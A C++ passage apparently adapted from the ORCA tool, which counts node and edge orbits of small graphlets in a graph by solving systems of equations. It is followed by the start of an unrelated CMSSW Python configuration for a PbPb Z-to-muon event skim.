(f_32-2*orbit[x][66]-1*orbit[x][60]-1*orbit[x][59]-2*orbit[x][57]-2*orbit[x][43]-2*orbit[x][41]-1*orbit[x][40])/2; orbit[x][31] = (f_31-2*orbit[x][65]-1*orbit[x][59]-3*orbit[x][56]-1*orbit[x][43]-2*orbit[x][39]); orbit[x][30] = (f_30-1*orbit[x][67]-1*orbit[x][63]-2*orbit[x][61]-1*orbit[x][53]-4*orbit[x][44]); orbit[x][29] = (f_29-2*orbit[x][66]-2*orbit[x][64]-1*orbit[x][60]-1*orbit[x][59]-1*orbit[x][53]-2*orbit[x][52]-2*orbit[x][43]); orbit[x][28] = (f_28-2*orbit[x][65]-2*orbit[x][62]-1*orbit[x][59]-1*orbit[x][51]-1*orbit[x][43]); orbit[x][27] = (f_27-1*orbit[x][59]-1*orbit[x][51]-2*orbit[x][45])/2; orbit[x][26] = (f_26-2*orbit[x][67]-2*orbit[x][63]-2*orbit[x][61]-6*orbit[x][58]-1*orbit[x][53]-2*orbit[x][47]-2*orbit[x][42]); orbit[x][25] = (f_25-2*orbit[x][66]-2*orbit[x][64]-1*orbit[x][59]-2*orbit[x][57]-2*orbit[x][52]-1*orbit[x][48]-1*orbit[x][40])/2; orbit[x][24] = (f_24-4*orbit[x][65]-4*orbit[x][62]-1*orbit[x][59]-6*orbit[x][56]-1*orbit[x][51]-2*orbit[x][45]-2*orbit[x][39]); orbit[x][23] = (f_23-1*orbit[x][55]-1*orbit[x][42]-2*orbit[x][33])/4; orbit[x][22] = (f_22-2*orbit[x][54]-1*orbit[x][40]-1*orbit[x][39]-1*orbit[x][32]-2*orbit[x][31])/3; orbit[x][21] = (f_21-3*orbit[x][55]-3*orbit[x][50]-2*orbit[x][42]-2*orbit[x][38]-2*orbit[x][33]); orbit[x][20] = (f_20-2*orbit[x][54]-2*orbit[x][49]-1*orbit[x][40]-1*orbit[x][37]-1*orbit[x][32]); orbit[x][19] = (f_19-4*orbit[x][54]-4*orbit[x][49]-1*orbit[x][40]-2*orbit[x][39]-1*orbit[x][37]-2*orbit[x][35]-2*orbit[x][31]); orbit[x][18] = (f_18-1*orbit[x][59]-1*orbit[x][51]-2*orbit[x][46]-2*orbit[x][45]-2*orbit[x][36]-2*orbit[x][27]-1*orbit[x][24])/2; orbit[x][17] = (f_17-1*orbit[x][60]-1*orbit[x][53]-1*orbit[x][51]-1*orbit[x][48]-1*orbit[x][37]-2*orbit[x][34]-2*orbit[x][30])/2; orbit[x][16] = (f_16-1*orbit[x][59]-2*orbit[x][52]-1*orbit[x][51]-2*orbit[x][46]-2*orbit[x][36]-2*orbit[x][34]-1*orbit[x][29]); orbit[x][15] = (f_15-1*orbit[x][59]-2*orbit[x][52]-1*orbit[x][51]-2*orbit[x][45]-2*orbit[x][35]-2*orbit[x][34]-2*orbit[x][27]); } endTime = clock(); printf("%.2f sec\n", (double)(endTime-startTime)/CLOCKS_PER_SEC); endTime_all = endTime; printf("total: %.2f sec\n", (double)(endTime_all-startTime_all)/CLOCKS_PER_SEC); } /** count edge orbits of graphlets on max 5 nodes */ void ecount5() { clock_t startTime, endTime; startTime = clock(); clock_t startTime_all, endTime_all; startTime_all = startTime; int frac,frac_prev; // precompute common nodes printf("stage 1 - precomputing common nodes\n"); frac_prev=-1; for (int x=0;x<n;x++) { frac = 100LL*x/n; if (frac!=frac_prev) { printf("%d%%\r",frac); frac_prev=frac; } for (int n1=0;n1<deg[x];n1++) { int a=adj[x][n1]; for (int n2=n1+1;n2<deg[x];n2++) { int b=adj[x][n2]; PAIR ab=PAIR(a,b); common2[ab]++; for (int n3=n2+1;n3<deg[x];n3++) { int c=adj[x][n3]; int st = adjacent(a,b)+adjacent(a,c)+adjacent(b,c); if (st<2) continue; TRIPLE abc=TRIPLE(a,b,c); common3[abc]++; } } } } // precompute triangles that span over edges int *tri = (int*)calloc(m,sizeof(int)); for (int i=0;i<m;i++) { int x=edges[i].a, y=edges[i].b; for (int xi=0,yi=0; xi<deg[x] && yi<deg[y]; ) { if (adj[x][xi]==adj[y][yi]) { tri[i]++; xi++; yi++; } else if (adj[x][xi]<adj[y][yi]) { xi++; } else { yi++; } } } endTime = clock(); printf("%.2f sec\n", (double)(endTime-startTime)/CLOCKS_PER_SEC); startTime = endTime; // count full graphlets printf("stage 2 - counting full graphlets\n"); int64 *C5 = (int64*)calloc(m,sizeof(int64)); int *neighx = (int*)malloc(n*sizeof(int)); // lookup table - edges to neighbors of x memset(neighx,-1,n*sizeof(int)); int *neigh = (int*)malloc(n*sizeof(int)), nn; // lookup table - common neighbors of x and y PII *neigh_edges = (PII*)malloc(n*sizeof(PII)); // list of common neighbors of x and y int *neigh2 = (int*)malloc(n*sizeof(int)), nn2; TIII *neigh2_edges = (TIII*)malloc(n*sizeof(TIII)); frac_prev=-1; for (int x=0;x<n;x++) { frac = 100LL*x/n; if (frac!=frac_prev) { printf("%d%%\r",frac); frac_prev=frac; } for (int nx=0;nx<deg[x];nx++) { int y=inc[x][nx].first, xy=inc[x][nx].second; neighx[y]=xy; } for (int nx=0;nx<deg[x];nx++) { int y=inc[x][nx].first, xy=inc[x][nx].second; if (y >= x) break; nn=0; for (int ny=0;ny<deg[y];ny++) { int z=inc[y][ny].first, yz=inc[y][ny].second; if (z >= y) break; if (neighx[z]==-1) continue; int xz=neighx[z]; neigh[nn]=z; neigh_edges[nn]={xz, yz}; nn++; } for (int i=0;i<nn;i++) { int z = neigh[i], xz = neigh_edges[i].first, yz = neigh_edges[i].second; nn2 = 0; for (int j=i+1;j<nn;j++) { int w = neigh[j], xw = neigh_edges[j].first, yw = neigh_edges[j].second; if (adjacent(z,w)) { neigh2[nn2]=w; int zw=getEdgeId(z,w); neigh2_edges[nn2]={xw,yw,zw}; nn2++; } } for (int i2=0;i2<nn2;i2++) { int z2 = neigh2[i2]; int z2x=neigh2_edges[i2].first, z2y=neigh2_edges[i2].second, z2z=neigh2_edges[i2].third; for (int j2=i2+1;j2<nn2;j2++) { int z3 = neigh2[j2]; int z3x=neigh2_edges[j2].first, z3y=neigh2_edges[j2].second, z3z=neigh2_edges[j2].third; if (adjacent(z2,z3)) { int zid=getEdgeId(z2,z3); C5[xy]++; C5[xz]++; C5[yz]++; C5[z2x]++; C5[z2y]++; C5[z2z]++; C5[z3x]++; C5[z3y]++; C5[z3z]++; C5[zid]++; } } } } } for (int nx=0;nx<deg[x];nx++) { int y=inc[x][nx].first, xy=inc[x][nx].second; neighx[y]=-1; } } endTime = clock(); printf("%.2f\n", (double)(endTime-startTime)/CLOCKS_PER_SEC); startTime = endTime; // set up a system of equations relating orbits for every node printf("stage 3 - building systems of equations\n"); int *common_x = (int*)calloc(n,sizeof(int)); int *common_x_list = (int*)malloc(n*sizeof(int)), nc_x=0; int *common_y = (int*)calloc(n,sizeof(int)); int *common_y_list = (int*)malloc(n*sizeof(int)), nc_y=0; frac_prev=-1; for (int x=0;x<n;x++) { frac = 100LL*x/n; if (frac!=frac_prev) { printf("%d%%\r",frac); frac_prev=frac; } // common nodes of x and some other node for (int i=0;i<nc_x;i++) common_x[common_x_list[i]]=0; nc_x=0; for (int nx=0;nx<deg[x];nx++) { int a=adj[x][nx]; for (int na=0;na<deg[a];na++) { int z=adj[a][na]; if (z==x) continue; if (common_x[z]==0) common_x_list[nc_x++]=z; common_x[z]++; } } for (int nx=0;nx<deg[x];nx++) { int y=inc[x][nx].first, xy=inc[x][nx].second; int e=xy; if (y>=x) break; // common nodes of y and some other node for (int i=0;i<nc_y;i++) common_y[common_y_list[i]]=0; nc_y=0; for (int ny=0;ny<deg[y];ny++) { int a=adj[y][ny]; for (int na=0;na<deg[a];na++) { int z=adj[a][na]; if (z==y) continue; if (common_y[z]==0) common_y_list[nc_y++]=z; common_y[z]++; } } int64 f_66=0, f_65=0, f_62=0, f_61=0, f_60=0, f_51=0, f_50=0; // 11 int64 f_64=0, f_58=0, f_55=0, f_48=0, f_41=0, f_35=0; // 10 int64 f_63=0, f_59=0, f_57=0, f_54=0, f_53=0, f_52=0, f_47=0, f_40=0, f_39=0, f_34=0, f_33=0; // 9 int64 f_45=0, f_36=0, f_26=0, f_23=0, f_19=0; // 7 int64 f_49=0, f_38=0, f_37=0, f_32=0, f_25=0, f_22=0, f_18=0; // 6 int64 f_56=0, f_46=0, f_44=0, f_43=0, f_42=0, f_31=0, f_30=0; // 5 int64 f_27=0, f_17=0, f_15=0; // 4 int64 f_20=0, f_16=0, f_13=0; // 3 int64 f_29=0, f_28=0, f_24=0, f_21=0, f_14=0, f_12=0; // 2 // smaller (3-node) graphlets orbit[x][0] = deg[x]; for (int nx1=0;nx1<deg[x];nx1++) { int z=adj[x][nx1]; if (z==y) continue; if (adjacent(y,z)) eorbit[e][1]++; else eorbit[e][0]++; } for (int ny=0;ny<deg[y];ny++) { int z=adj[y][ny]; if (z==x) continue; if (!adjacent(x,z)) eorbit[e][0]++; } // edge-orbit 11 = (14,14) for (int nx1=0;nx1<deg[x];nx1++) { int a=adj[x][nx1], xa=inc[x][nx1].second; if (a==y || !adjacent(y,a)) continue; for (int nx2=nx1+1;nx2<deg[x];nx2++) { int b=adj[x][nx2], xb=inc[x][nx2].second; if (b==y || !adjacent(y,b) || !adjacent(a,b)) continue; int ya=getEdgeId(y,a), yb=getEdgeId(y,b), ab=getEdgeId(a,b); eorbit[e][11]++; f_66 += common3_get(TRIPLE(x,y,a))-1; f_66 += common3_get(TRIPLE(x,y,b))-1; f_65 += common3_get(TRIPLE(a,b,x))-1; f_65 += common3_get(TRIPLE(a,b,y))-1; f_62 += tri[xy]-2; f_61 += (tri[xa]-2)+(tri[xb]-2)+(tri[ya]-2)+(tri[yb]-2); f_60 += tri[ab]-2; f_51 += (deg[x]-3)+(deg[y]-3); f_50 += (deg[a]-3)+(deg[b]-3); } } // edge-orbit 10 = (13,13) for (int nx1=0;nx1<deg[x];nx1++) { int a=adj[x][nx1], xa=inc[x][nx1].second; if (a==y || !adjacent(y,a)) continue; for (int nx2=nx1+1;nx2<deg[x];nx2++) { int b=adj[x][nx2], xb=inc[x][nx2].second; if (b==y || !adjacent(y,b) || adjacent(a,b)) continue; int ya=getEdgeId(y,a), yb=getEdgeId(y,b); eorbit[e][10]++; f_64 += common3_get(TRIPLE(a,b,x))-1; f_64 += common3_get(TRIPLE(a,b,y))-1; f_58 += common2_get(PAIR(a,b))-2; f_55 += (tri[xa]-1)+(tri[xb]-1)+(tri[ya]-1)+(tri[yb]-1); f_48 += tri[xy]-2; f_41 += (deg[a]-2)+(deg[b]-2); f_35 += (deg[x]-3)+(deg[y]-3); } } // edge-orbit 9 = (12,13) for (int nx=0;nx<deg[x];nx++) { int a=adj[x][nx], xa=inc[x][nx].second; if (a==y) continue; for (int ny=0;ny<deg[y];ny++) { int b=adj[y][ny], yb=inc[y][ny].second; if (b==x || !adjacent(a,b)) continue; int adj_ya=adjacent(y,a), adj_xb=adjacent(x,b); if (adj_ya+adj_xb!=1) continue; int ab=getEdgeId(a,b); eorbit[e][9]++; if (adj_xb) { int xb=getEdgeId(x,b); f_63 += common3_get(TRIPLE(a,b,y))-1; f_59 += common3_get(TRIPLE(a,b,x)); f_57 += common_y[a]-2; f_54 += tri[yb]-1; f_53 += tri[xa]-1; f_47 += tri[xb]-2; f_40 += deg[y]-2; f_39 += deg[a]-2; f_34 += deg[x]-3; f_33 += deg[b]-3; } else if (adj_ya) { int ya=getEdgeId(y,a); f_63 += common3_get(TRIPLE(a,b,x))-1; f_59 += common3_get(TRIPLE(a,b,y)); f_57 += common_x[b]-2; f_54 += tri[xa]-1; f_53 += tri[yb]-1; f_47 += tri[ya]-2; f_40 += deg[x]-2; f_39 += deg[b]-2; f_34 += deg[y]-3; f_33 += deg[a]-3; } f_52 += tri[ab]-1; } } // edge-orbit 8 = (10,11) for (int nx=0;nx<deg[x];nx++) { int a=adj[x][nx]; if (a==y || !adjacent(y,a)) continue; for (int nx1=0;nx1<deg[x];nx1++) { int b=adj[x][nx1]; if (b==y || b==a || adjacent(y,b) || adjacent(a,b)) continue; eorbit[e][8]++; } for (int ny1=0;ny1<deg[y];ny1++) { int b=adj[y][ny1]; if (b==x || b==a || adjacent(x,b) || adjacent(a,b)) continue; eorbit[e][8]++; } } // edge-orbit 7 = (10,10) for (int nx=0;nx<deg[x];nx++) { int a=adj[x][nx]; if (a==y || !adjacent(y,a)) continue; for (int na=0;na<deg[a];na++) { int b=adj[a][na], ab=inc[a][na].second; if (b==x || b==y || adjacent(x,b) || adjacent(y,b)) continue; eorbit[e][7]++; f_45 += common_x[b]-1; f_45 += common_y[b]-1; f_36 += tri[ab]; f_26 += deg[a]-3; f_23 += deg[b]-1; f_19 += (deg[x]-2)+(deg[y]-2); } } // edge-orbit 6 = (9,11) for (int ny1=0;ny1<deg[y];ny1++) { int a=adj[y][ny1], ya=inc[y][ny1].second; if (a==x || adjacent(x,a)) continue; for (int ny2=ny1+1;ny2<deg[y];ny2++) { int b=adj[y][ny2], yb=inc[y][ny2].second; if (b==x || adjacent(x,b) || !adjacent(a,b)) continue; int ab=getEdgeId(a,b); eorbit[e][6]++; f_49 += common3_get(TRIPLE(y,a,b)); f_38 += tri[ab]-1; f_37 += tri[xy]; f_32 += (tri[ya]-1)+(tri[yb]-1); f_25 += deg[y]-3; f_22 += deg[x]-1; f_18 += (deg[a]-2)+(deg[b]-2); } } for (int nx1=0;nx1<deg[x];nx1++) { int a=adj[x][nx1], xa=inc[x][nx1].second; if (a==y || adjacent(y,a)) continue; for (int nx2=nx1+1;nx2<deg[x];nx2++) { int b=adj[x][nx2], xb=inc[x][nx2].second; if (b==y || adjacent(y,b) || !adjacent(a,b)) continue; int ab=getEdgeId(a,b); eorbit[e][6]++; f_49 += common3_get(TRIPLE(x,a,b)); f_38 += tri[ab]-1; f_37 += tri[xy]; f_32 += (tri[xa]-1)+(tri[xb]-1); f_25 += deg[x]-3; f_22 += deg[y]-1; f_18 += (deg[a]-2)+(deg[b]-2); } } // edge-orbit 5 = (8,8) for (int nx=0;nx<deg[x];nx++) { int a=adj[x][nx], xa=inc[x][nx].second; if (a==y || adjacent(y,a)) continue; for (int ny=0;ny<deg[y];ny++) { int b=adj[y][ny], yb=inc[y][ny].second; if (b==x || adjacent(x,b) || !adjacent(a,b)) continue; int ab=getEdgeId(a,b); eorbit[e][5]++; f_56 += common3_get(TRIPLE(x,a,b)); f_56 += common3_get(TRIPLE(y,a,b)); f_46 += tri[xy]; f_44 += tri[xa]+tri[yb]; f_43 += tri[ab]; f_42 += common_x[b]-2; f_42 += common_y[a]-2; f_31 += (deg[x]-2)+(deg[y]-2); f_30 += (deg[a]-2)+(deg[b]-2); } } // edge-orbit 4 = (6,7) for (int ny1=0;ny1<deg[y];ny1++) { int a=adj[y][ny1]; if (a==x || adjacent(x,a)) continue; for (int ny2=ny1+1;ny2<deg[y];ny2++) { int b=adj[y][ny2]; if (b==x || adjacent(x,b) || adjacent(a,b)) continue; eorbit[e][4]++; f_27 += tri[xy]; f_17 += deg[y]-3; f_15 += (deg[a]-1)+(deg[b]-1); } } for (int nx1=0;nx1<deg[x];nx1++) { int a=adj[x][nx1]; if (a==y || adjacent(y,a)) continue; for (int nx2=nx1+1;nx2<deg[x];nx2++) { int b=adj[x][nx2]; if (b==y || adjacent(y,b) || adjacent(a,b)) continue; eorbit[e][4]++; f_27 += tri[xy]; f_17 += deg[x]-3; f_15 += (deg[a]-1)+(deg[b]-1); } } // edge-orbit 3 = (5,5) for (int nx=0;nx<deg[x];nx++) { int a=adj[x][nx]; if (a==y || adjacent(y,a)) continue; for (int ny=0;ny<deg[y];ny++) { int b=adj[y][ny]; if (b==x || adjacent(x,b) || adjacent(a,b)) continue; eorbit[e][3]++; f_20 += tri[xy]; f_16 += (deg[x]-2)+(deg[y]-2); f_13 += (deg[a]-1)+(deg[b]-1); } } // edge-orbit 2 = (4,5) for (int ny=0;ny<deg[y];ny++) { int a=adj[y][ny]; if (a==x || adjacent(x,a)) continue; for (int na=0;na<deg[a];na++) { int b=adj[a][na], ab=inc[a][na].second; if (b==y || adjacent(y,b) || adjacent(x,b)) continue; eorbit[e][2]++; f_29 += common_y[b]-1; f_28 += common_x[b]; f_24 += tri[xy]; f_21 += tri[ab]; f_14 += deg[a]-2; f_12 += deg[b]-1; } } for (int nx=0;nx<deg[x];nx++) { int a=adj[x][nx]; if (a==y || adjacent(y,a)) continue; for (int na=0;na<deg[a];na++) { int b=adj[a][na], ab=inc[a][na].second; if (b==x || adjacent(x,b) || adjacent(y,b)) continue; eorbit[e][2]++; f_29 += common_x[b]-1; f_28 += common_y[b]; f_24 += tri[xy]; f_21 += tri[ab]; f_14 += deg[a]-2; f_12 += deg[b]-1; } } // solve system of equations eorbit[e][67]=C5[e]; eorbit[e][66]=(f_66-6*eorbit[e][67])/2; eorbit[e][65]=(f_65-6*eorbit[e][67]); eorbit[e][64]=(f_64-2*eorbit[e][66]); eorbit[e][63]=(f_63-2*eorbit[e][65])/2; eorbit[e][62]=(f_62-2*eorbit[e][66]-3*eorbit[e][67]); eorbit[e][61]=(f_61-2*eorbit[e][65]-4*eorbit[e][66]-12*eorbit[e][67]); eorbit[e][60]=(f_60-1*eorbit[e][65]-3*eorbit[e][67]); eorbit[e][59]=(f_59-2*eorbit[e][65])/2; eorbit[e][58]=(f_58-1*eorbit[e][64]-1*eorbit[e][66]); eorbit[e][57]=(f_57-2*eorbit[e][63]-2*eorbit[e][64]-2*eorbit[e][65]); eorbit[e][56]=(f_56-2*eorbit[e][63])/2; eorbit[e][55]=(f_55-4*eorbit[e][62]-2*eorbit[e][64]-4*eorbit[e][66]); eorbit[e][54]=(f_54-1*eorbit[e][61]-2*eorbit[e][63]-2*eorbit[e][65])/2; eorbit[e][53]=(f_53-2*eorbit[e][59]-2*eorbit[e][64]-2*eorbit[e][65]); eorbit[e][52]=(f_52-2*eorbit[e][59]-2*eorbit[e][63]-2*eorbit[e][65]); eorbit[e][51]=(f_51-1*eorbit[e][61]-2*eorbit[e][62]-1*eorbit[e][65]-4*eorbit[e][66]-6*eorbit[e][67]); eorbit[e][50]=(f_50-2*eorbit[e][60]-1*eorbit[e][61]-2*eorbit[e][65]-2*eorbit[e][66]-6*eorbit[e][67]); eorbit[e][49]=(f_49-1*eorbit[e][59])/3; eorbit[e][48]=(f_48-2*eorbit[e][62]-1*eorbit[e][66])/3; eorbit[e][47]=(f_47-2*eorbit[e][59]-1*eorbit[e][61]-2*eorbit[e][65])/2; eorbit[e][46]=(f_46-1*eorbit[e][57]-1*eorbit[e][63]); eorbit[e][45]=(f_45-1*eorbit[e][52]-4*eorbit[e][58]-4*eorbit[e][60]); eorbit[e][44]=(f_44-2*eorbit[e][56]-1*eorbit[e][57]-2*eorbit[e][63]); eorbit[e][43]=(f_43-2*eorbit[e][56]-1*eorbit[e][63]); eorbit[e][42]=(f_42-2*eorbit[e][56]-1*eorbit[e][57]-2*eorbit[e][63])/2; eorbit[e][41]=(f_41-1*eorbit[e][55]-2*eorbit[e][58]-2*eorbit[e][62]-2*eorbit[e][64]-2*eorbit[e][66]); eorbit[e][40]=(f_40-2*eorbit[e][54]-1*eorbit[e][55]-1*eorbit[e][57]-1*eorbit[e][61]-2*eorbit[e][63]-2*eorbit[e][64]-2*eorbit[e][65]); eorbit[e][39]=(f_39-1*eorbit[e][52]-1*eorbit[e][53]-1*eorbit[e][57]-2*eorbit[e][59]-2*eorbit[e][63]-2*eorbit[e][64]-2*eorbit[e][65]); eorbit[e][38]=(f_38-3*eorbit[e][49]-1*eorbit[e][56]-1*eorbit[e][59]); eorbit[e][37]=(f_37-1*eorbit[e][53]-1*eorbit[e][59]); eorbit[e][36]=(f_36-1*eorbit[e][52]-2*eorbit[e][60])/2; eorbit[e][35]=(f_35-6*eorbit[e][48]-1*eorbit[e][55]-4*eorbit[e][62]-1*eorbit[e][64]-2*eorbit[e][66]); eorbit[e][34]=(f_34-2*eorbit[e][47]-1*eorbit[e][53]-1*eorbit[e][55]-2*eorbit[e][59]-1*eorbit[e][61]-2*eorbit[e][64]-2*eorbit[e][65]); eorbit[e][33]=(f_33-2*eorbit[e][47]-1*eorbit[e][52]-2*eorbit[e][54]-2*eorbit[e][59]-1*eorbit[e][61]-2*eorbit[e][63]-2*eorbit[e][65]); eorbit[e][32]=(f_32-6*eorbit[e][49]-1*eorbit[e][53]-2*eorbit[e][59])/2; eorbit[e][31]=(f_31-2*eorbit[e][42]-1*eorbit[e][44]-2*eorbit[e][46]-2*eorbit[e][56]-2*eorbit[e][57]-2*eorbit[e][63]); eorbit[e][30]=(f_30-2*eorbit[e][42]-2*eorbit[e][43]-1*eorbit[e][44]-4*eorbit[e][56]-1*eorbit[e][57]-2*eorbit[e][63]); eorbit[e][29]=(f_29-2*eorbit[e][38]-1*eorbit[e][45]-1*eorbit[e][52])/2; eorbit[e][28]=(f_28-2*eorbit[e][43]-1*eorbit[e][45]-1*eorbit[e][52])/2; eorbit[e][27]=(f_27-1*eorbit[e][34]-1*eorbit[e][47]); eorbit[e][26]=(f_26-1*eorbit[e][33]-2*eorbit[e][36]-1*eorbit[e][50]-1*eorbit[e][52]-2*eorbit[e][60])/2; eorbit[e][25]=(f_25-2*eorbit[e][32]-1*eorbit[e][37]-3*eorbit[e][49]-1*eorbit[e][53]-1*eorbit[e][59]); eorbit[e][24]=(f_24-1*eorbit[e][39]-1*eorbit[e][45]-1*eorbit[e][52]); eorbit[e][23]=(f_23-2*eorbit[e][36]-1*eorbit[e][45]-1*eorbit[e][52]-2*eorbit[e][58]-2*eorbit[e][60]); eorbit[e][22]=(f_22-1*eorbit[e][37]-1*eorbit[e][44]-1*eorbit[e][53]-1*eorbit[e][56]-1*eorbit[e][59]); eorbit[e][21]=(f_21-2*eorbit[e][38]-2*eorbit[e][43]-1*eorbit[e][52])/2; eorbit[e][20]=(f_20-1*eorbit[e][40]-1*eorbit[e][54]); eorbit[e][19]=(f_19-1*eorbit[e][33]-2*eorbit[e][41]-1*eorbit[e][45]-2*eorbit[e][50]-1*eorbit[e][52]-4*eorbit[e][58]-4*eorbit[e][60]); eorbit[e][18]=(f_18-2*eorbit[e][32]-2*eorbit[e][38]-1*eorbit[e][44]-6*eorbit[e][49]-1*eorbit[e][53]-2*eorbit[e][56]-2*eorbit[e][59]); eorbit[e][17]=(f_17-2*eorbit[e][25]-1*eorbit[e][27]-1*eorbit[e][32]-1*eorbit[e][34]-1*eorbit[e][47])/3; eorbit[e][16]=(f_16-2*eorbit[e][20]-2*eorbit[e][22]-1*eorbit[e][31]-2*eorbit[e][40]-1*eorbit[e][44]-2*eorbit[e][54])/2; eorbit[e][15]=(f_15-2*eorbit[e][25]-2*eorbit[e][29]-1*eorbit[e][31]-2*eorbit[e][32]-1*eorbit[e][34]-2*eorbit[e][42]-2*eorbit[e][47]); eorbit[e][14]=(f_14-1*eorbit[e][18]-2*eorbit[e][21]-1*eorbit[e][30]-2*eorbit[e][38]-1*eorbit[e][39]-2*eorbit[e][43]-1*eorbit[e][52])/2; eorbit[e][13]=(f_13-2*eorbit[e][22]-2*eorbit[e][28]-1*eorbit[e][31]-1*eorbit[e][40]-2*eorbit[e][44]-2*eorbit[e][54]); eorbit[e][12]=(f_12-2*eorbit[e][21]-2*eorbit[e][28]-2*eorbit[e][29]-2*eorbit[e][38]-2*eorbit[e][43]-1*eorbit[e][45]-1*eorbit[e][52]); } } endTime = clock(); printf("%.2f\n", (double)(endTime-startTime)/CLOCKS_PER_SEC); endTime_all = endTime; printf("total: %.2f\n", (double)(endTime_all-startTime_all)/CLOCKS_PER_SEC); } fstream fin, fout; // input and output files int GS=5; string orbit_type; int motif_counts(char* orbit_type, int graphlet_size, const char* input_filename, const char* output_filename) { // open input, output files if (strcmp(orbit_type, "node")!=0 && strcmp(orbit_type, "edge")!=0) { cerr << "Incorrect orbit type '" << orbit_type << "'. Should be 'node' or 'edge'." << endl; return 0; } if (GS!=4 && GS!=5) { cerr << "Incorrect graphlet size " << graphlet_size << ". Should be 4 or 5." << endl; return 0; } fin.open(input_filename, fstream::in); fout.open(output_filename, fstream::out | fstream::binary); if (fin.fail()) { cerr << "Failed to open file " << input_filename << endl; return 0; } if (fout.fail()) { cerr << "Failed to open file " << output_filename << endl; return 0; } // read input graph fin >> n >> m; int d_max=0; edges = (PAIR*)malloc(m*sizeof(PAIR)); deg = (int*)calloc(n,sizeof(int)); for (int i=0;i<m;i++) { int a,b; fin >> a >> b; if (!(0<=a && a<n) || !(0<=b && b<n)) { cerr << "Node ids should be between 0 and n-1." << endl; return 0; } if (a==b) { cerr << "Self loops (edge from x to x) are not allowed." << endl; return 0; } deg[a]++; deg[b]++; edges[i]=PAIR(a,b); } for (int i=0;i<n;i++) d_max=max(d_max,deg[i]); printf("nodes: %d\n",n); printf("edges: %d\n",m); printf("max degree: %d\n",d_max); fin.close(); if ((int)(set<PAIR>(edges,edges+m).size())!=m) { cerr << "Input file contains duplicate undirected edges." << endl; return 0; } // set up adjacency matrix if it's smaller than 100MB if ((int64)n*n < 100LL*1024*1024*8) { adjacent = adjacent_matrix; adj_matrix = (int*)calloc((n*n)/adj_chunk+1,sizeof(int)); for (int i=0;i<m;i++) { int a=edges[i].a, b=edges[i].b; adj_matrix[(a*n+b)/adj_chunk]|=(1<<((a*n+b)%adj_chunk)); adj_matrix[(b*n+a)/adj_chunk]|=(1<<((b*n+a)%adj_chunk)); } } else { adjacent = adjacent_list; } // set up adjacency, incidence lists adj = (int**)malloc(n*sizeof(int*)); for (int i=0;i<n;i++) adj[i] = (int*)malloc(deg[i]*sizeof(int)); inc = (PII**)malloc(n*sizeof(PII*)); for (int i=0;i<n;i++) inc[i] = (PII*)malloc(deg[i]*sizeof(PII)); int *d = (int*)calloc(n,sizeof(int)); for (int i=0;i<m;i++) { int a=edges[i].a, b=edges[i].b; adj[a][d[a]]=b; adj[b][d[b]]=a; inc[a][d[a]]=PII(b,i); inc[b][d[b]]=PII(a,i); d[a]++; d[b]++; } for (int i=0;i<n;i++) { sort(adj[i],adj[i]+deg[i]); sort(inc[i],inc[i]+deg[i]); } // initialize orbit counts orbit = (int64**)malloc(n*sizeof(int64*)); for (int i=0;i<n;i++) orbit[i] = (int64*)calloc(73,sizeof(int64)); // initialize edge orbit counts eorbit = (int64**)malloc(m*sizeof(int64*)); for (int i=0;i<m;i++) eorbit[i] = (int64*)calloc(68,sizeof(int64)); return 1; } int init(int argc, char *argv[]) { if (argc!=5) { cerr << "Incorrect number of arguments." << endl; cerr << "Usage: orca.exe [orbit type: node|edge] [graphlet size: 4/5] [graph - input file] [graphlets - output file]" << endl; return 0; } int graphlet_size; sscanf(argv[2],"%d", &graphlet_size); motif_counts(argv[1], graphlet_size, argv[3], argv[4]); } void writeResults(int g=5) { int no[] = {0,0,1,4,15,73}; for (int i=0;i<n;i++) { for (int j=0;j<no[g];j++) { if (j!=0) fout << " "; fout << orbit[i][j]; } fout << endl; } fout.close(); } void writeEdgeResults(int g=5) { int no[] = {0,0,0,2,12,68}; for (int i=0;i<m;i++) { for (int j=0;j<no[g];j++) { if (j!=0) fout << " "; fout << eorbit[i][j]; } fout << endl; } fout.close(); } //int main(int argc, char *argv[]) { // // // if (!init(argc, argv)) { // cerr << "Stopping!" << endl; // return 0; // } // if (orbit_type=="node") { // printf("Counting NODE orbits of graphlets on %d nodes.\n\n",GS); // if (GS==4) count4(); // if (GS==5) count5(); // writeResults(GS); // } else { // printf("Counting EDGE orbits of graphlets on %d nodes.\n\n",GS); // if (GS==4) ecount4(); // if (GS==5) ecount5(); // writeEdgeResults(GS); // } // // // return 0; //}
38,752
852
<filename>Configuration/Skimming/python/PbPb_ZMuSkimMuonDPG_cff.py import FWCore.ParameterSet.Config as cms ### HLT filter import copy from HLTrigger.HLTfilters.hltHighLevel_cfi import * from PhysicsTools.PatAlgos.producersLayer1.genericParticleProducer_cfi import patGenericParticles PbPbZMuHLTFilter = copy.deepcopy(hltHighLevel) PbPbZMuHLTFilter.throw = cms.bool(False) PbPbZMuHLTFilter.HLTPaths = ["HLT_HIL3Mu*"] ### Z -> MuMu candidates # Get muons of needed quality for Zs ###create a track collection with generic kinematic cuts looseMuonsForPbPbZMuSkim = cms.EDFilter("TrackSelector", src = cms.InputTag("generalTracks"), cut = cms.string('pt > 10 && abs(eta)<2.4 && (charge!=0)'), filter = cms.bool(True) ) ###cloning the previous collection into a collection of candidates ConcretelooseMuonsForPbPbZMuSkim = cms.EDProducer("ConcreteChargedCandidateProducer", src = cms.InputTag("looseMuonsForPbPbZMuSkim"), particleType = cms.string("mu+") ) ###create iso deposits tkIsoDepositTkForPbPbZMuSkim = cms.EDProducer("CandIsoDepositProducer", src = cms.InputTag("ConcretelooseMuonsForPbPbZMuSkim"), MultipleDepositsFlag = cms.bool(False), trackType = cms.string('track'), ExtractorPSet = cms.PSet( #MIsoTrackExtractorBlock Diff_z = cms.double(0.2), inputTrackCollection = cms.InputTag("generalTracks"), BeamSpotLabel = cms.InputTag("offlineBeamSpot"), ComponentName = cms.string('TrackExtractor'), DR_Max = cms.double(0.5), Diff_r = cms.double(0.1), Chi2Prob_Min = cms.double(-1.0), DR_Veto = cms.double(0.01), NHits_Min = cms.uint32(0), Chi2Ndof_Max = cms.double(1e+64), Pt_Min = cms.double(-1.0), DepositLabel = cms.untracked.string('tracker'), BeamlineOption = cms.string('BeamSpotFromEvent') ) ) ###adding isodeposits to candidate collection allPatTracksForPbPbZMuSkim = patGenericParticles.clone( src = cms.InputTag("ConcretelooseMuonsForPbPbZMuSkim"), # isolation configurables userIsolation = cms.PSet( tracker = cms.PSet( veto = cms.double(0.015), src = cms.InputTag("tkIsoDepositTkForPbPbZMuSkim"), deltaR = cms.double(0.3), #threshold = cms.double(1.5) ), ), 